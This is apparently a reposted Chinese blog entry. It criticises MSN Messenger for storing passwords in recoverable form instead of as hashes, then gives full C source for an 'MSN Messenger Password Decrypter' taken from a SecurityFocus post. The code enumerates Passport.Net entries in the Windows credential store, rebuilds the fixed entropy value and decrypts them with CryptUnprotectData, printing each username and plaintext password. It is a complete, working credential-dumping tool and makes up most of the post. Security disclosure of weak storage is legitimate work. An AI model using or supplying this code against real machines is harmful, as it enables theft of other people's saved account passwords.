zoukankan      html  css  js  c++  java
  • MSN Messager密码

     密码怎么能存下来呢,要存也存一个Hash以后的啊。失败,程序直接就找出密码来了。windows xp + vc++ 7.0下编译通过。

     #include <windows.h>
    #include <wincrypt.h>
    #include <stdio.h>

    #pragma comment(lib, "Crypt32.lib")

    //Following definitions taken from wincred.h
    //[available only in Oct 2002 MS Platform SDK /


    typedef struct _CREDENTIAL_ATTRIBUTEA {
     LPSTR Keyword;
     DWORD Flags;
     DWORD ValueSize;
     LPBYTE Value;
    }
    CREDENTIAL_ATTRIBUTEA,*PCREDENTIAL_ATTRIBUTEA;

    typedef struct _CREDENTIALA {
     DWORD Flags;
     DWORD Type;
     LPSTR TargetName;
     LPSTR Comment;
     FILETIME LastWritten;
     DWORD CredentialBlobSize;
     LPBYTE CredentialBlob;
     DWORD Persist;
     DWORD AttributeCount;
     PCREDENTIAL_ATTRIBUTEA Attributes;
     LPSTR TargetAlias;
     LPSTR UserName;
    } CREDENTIALA,*PCREDENTIALA;

    typedef CREDENTIALA CREDENTIAL;
    typedef PCREDENTIALA PCREDENTIAL;

    ////////////////////////////////////////////////////////////////////

    typedef BOOL (WINAPI *typeCredEnumerateA)(LPCTSTR,
                DWORD, DWORD *, PCREDENTIALA **);
    typedef BOOL (WINAPI *typeCredReadA)(LPCTSTR, DWORD,
              DWORD, PCREDENTIALA *);
    typedef VOID (WINAPI *typeCredFree)(PVOID);

    typeCredEnumerateA pfCredEnumerateA;
    typeCredReadA pfCredReadA;
    typeCredFree pfCredFree;

    ////////////////////////////////////////////////////////////////////

    void showBanner()
    {
     printf("MSN Messenger Password Decrypter for Windows XP/2003\n");
     printf(" - Gregory R. Panakkal,http://www.infogreg.com \n\n");
    }

    ////////////////////////////////////////////////////////////////////
    int main()
    {
     PCREDENTIAL *CredentialCollection = NULL;
     DATA_BLOB blobCrypt, blobPlainText, blobEntropy;

     //used for filling up blobEntropy
     char szEntropyStringSeed[37] =
      "82BD0E67-9FEA-4748-8672-D5EFE5B779B0"; //credui.dll
     short int EntropyData[37];
     short int tmp;

     HMODULE hDLL;
     DWORD Count, i;

     showBanner();

     //Locate CredEnumerate, CredRead, CredFree from advapi32.dll
      if( hDLL = LoadLibrary("advapi32.dll") )
      {
       pfCredEnumerateA =
        (typeCredEnumerateA)GetProcAddress(hDLL,
        "CredEnumerateA");
       pfCredReadA =
        (typeCredReadA)GetProcAddress(hDLL, "CredReadA");
       pfCredFree =
        (typeCredFree)GetProcAddress(hDLL, "CredFree");

       if( pfCredEnumerateA == NULL||
        pfCredReadA == NULL ||
        pfCredFree == NULL )
       {
        printf("error!\n");
        return -1;
       }
      }

      //Get an array of 'credential', satisfying the  filter
       pfCredEnumerateA("Passport.Net\\*", 0, &Count,
       &CredentialCollection);

      if( Count ) //usually this value is only 1
      {

       //Calculate Entropy Data
       for(i=0; i<37; i++) //    strlen(szEntropyStringSeed) = 37
       {
        tmp = (short int)szEntropyStringSeed[i];
        tmp <<= 2;
        EntropyData[i] = tmp;
       }

       for(i=0; i<Count; i++)
       {
        blobEntropy.pbData = (BYTE *)&EntropyData;
        blobEntropy.cbData = 74;
        //sizeof(EntropyData)

        blobCrypt.pbData =
         CredentialCollection[i]->CredentialBlob;
        blobCrypt.cbData =
         CredentialCollection[i]->CredentialBlobSize;

        CryptUnprotectData(&blobCrypt, NULL,
         &blobEntropy, NULL, NULL, 1, &blobPlainText);

        printf("Username : %s\n",
         CredentialCollection[i]->UserName);
        printf("Password : %ls\n\n",
         blobPlainText.pbData);
       }
      }

      pfCredFree(CredentialCollection);
    }

    出处:
    http://www.securityfocus.net/archive/1/408425/30/0/threaded

  • 相关阅读:
    (转)贝叶斯推理及应用
    (转)zero copy原理
    (转)c指针问题
    (转)c++ new/delete,new[]/delete[]原理解析
    (转)Spring AOP编程原理、Demo
    (转)spring IOC、DI理解
    Django小例子 – 模型数据的模板呈现
    初探Django Admin(一)
    Windows7下搭建Django运行环境
    初探Django线程发送邮件
  • 原文地址:https://www.cnblogs.com/Hacker/p/218300.html
Copyright © 2011-2022 走看看